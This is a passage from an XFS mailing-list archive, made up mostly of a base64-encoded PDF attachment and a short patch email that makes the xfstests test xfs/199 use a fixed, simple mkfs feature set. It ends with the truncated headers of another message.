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 EEIIIYQQQohL+N///g9hltIGCmVuZHN0cmVhbQplbmRvYmoKMyAwIG9iago8PC9MZW5ndGggNjgv RmlsdGVyL0ZsYXRlRGVjb2RlPj5zdHJlYW0KeJwr5CpUMLU0VTAAQgsTQz0zExBTz9DC0MRMITlX QT8zN91AwSVfIZArkKuQyymEy9hMwcLATCEkhcs1BCgGAMrWDe4KZW5kc3RyZWFtCmVuZG9iago1 IDAgb2JqCjw8L1R5cGUvUGFnZS9NZWRpYUJveFswIDAgNTk1IDg0Ml0vUmVzb3VyY2VzPDwvUHJv Y1NldCBbL1BERiAvVGV4dCAvSW1hZ2VCIC9JbWFnZUMgL0ltYWdlSV0vWE9iamVjdDw8L2ltZzAg MiAwIFI+Pj4+L0NvbnRlbnRzIDMgMCBSL1BhcmVudCA0IDAgUj4+CmVuZG9iago0IDAgb2JqCjw8 L1R5cGUvUGFnZXMvQ291bnQgMS9LaWRzWzUgMCBSXS9JVFhUKDUuMS4zKT4+CmVuZG9iago2IDAg b2JqCjw8L1R5cGUvQ2F0YWxvZy9QYWdlcyA0IDAgUj4+CmVuZG9iago3IDAgb2JqCjw8L1Byb2R1 Y2VyKGNvbnZlcnRmaWxlb25saW5lLmNvbSkvQ3JlYXRpb25EYXRlKEQ6MjAxNDAxMjAxMzE3MDgr MDEnMDAnKS9Nb2REYXRlKEQ6MjAxNDAxMjAxMzE3MDgrMDEnMDAnKT4+CmVuZG9iagp4cmVmCjAg OAowMDAwMDAwMDAwIDY1NTM1IGYgCjAwMDAwMDAwMTUgMDAwMDAgbiAKMDAwMDAwMjcwMyAwMDAw MCBuIAowMDAwMDYxMTk3IDAwMDAwIG4gCjAwMDAwNjE0OTMgMDAwMDAgbiAKMDAwMDA2MTMzMSAw MDAwMCBuIAowMDAwMDYxNTU2IDAwMDAwIG4gCjAwMDAwNjE2MDEgMDAwMDAgbiAKdHJhaWxlcgo8 PC9TaXplIDgvUm9vdCA2IDAgUi9JbmZvIDcgMCBSL0lEIFs8MDMzZjU2Mzc1ZTQ2M2ZjODZmZDI4 NTNiMTdlMmZmMjY+PGNmYmE1MTQzMmIwMTc1MjExMzk5ZTI4ZDlhMjg3YWFmPl0+PgpzdGFydHhy ZWYKNjE3MjQKJSVFT0YK ------=_NextPart_000_0CDF_01CF168E.C3E510D0-- From dave@fromorbit.com Tue Jan 21 05:10:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1B63B29DF8 for ; Tue, 21 Jan 2014 05:10:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id F0B25304039 for ; Tue, 21 Jan 2014 03:10:34 -0800 (PST) X-ASG-Debug-ID: 1390302632-04cb6c75072c740001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id uqwPsA0KK6uIhTKT for ; Tue, 21 Jan 2014 03:10:33 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al8GAI5U3lJ5LKVw/2dsb2JhbABZgwu+BRd0giUBXDsYagM0iASYY6s9jhuBAYQiBKo6g0EogSw Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 21 Jan 2014 21:40:31 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W5ZDw-0007b7-E0 for xfs@oss.sgi.com; Tue, 21 Jan 2014 22:10:28 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W5ZDw-0004xO-Cn for xfs@oss.sgi.com; Tue, 21 Jan 2014 22:10:28 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs/199: enforce v4 superblock format for test Date: Tue, 21 Jan 2014 22:10:28 +1100 X-ASG-Orig-Subj: [PATCH] xfs/199: enforce v4 superblock format for test Message-Id: <1390302628-19020-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390302633 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144321 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner This test relies of the contents of the sb_features2 field being known. Make sure ot clear allt eh MKFS_OPTIONS and ensure that we direct mkfs to create only the simplest of featuresets to test this functionality. Signed-off-by: Dave Chinner --- tests/xfs/199 | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/xfs/199 b/tests/xfs/199 index 1d64e02..c1b5962 100755 --- a/tests/xfs/199 +++ b/tests/xfs/199 @@ -49,7 +49,10 @@ _supported_os Linux _require_scratch -_scratch_mkfs_xfs -l lazy-count=1 >/dev/null 2>&1 +# clear any mkfs options so taht we can directly specify the options we need to +# be able to test the features bitmask behaviour correctly. +MKFS_OPTIONS= +_scratch_mkfs_xfs -l lazy-count=1 -i projid32bit=0 >/dev/null 2>&1 # # Print the current flags. Just a dummy so that the test breaks -- 1.8.4.rc3 From koen.de.wit@oracle.com Tue Jan 21 05:41:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E5FB329DF8 for ; Tue, 21 Jan 2014 05:41:22 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 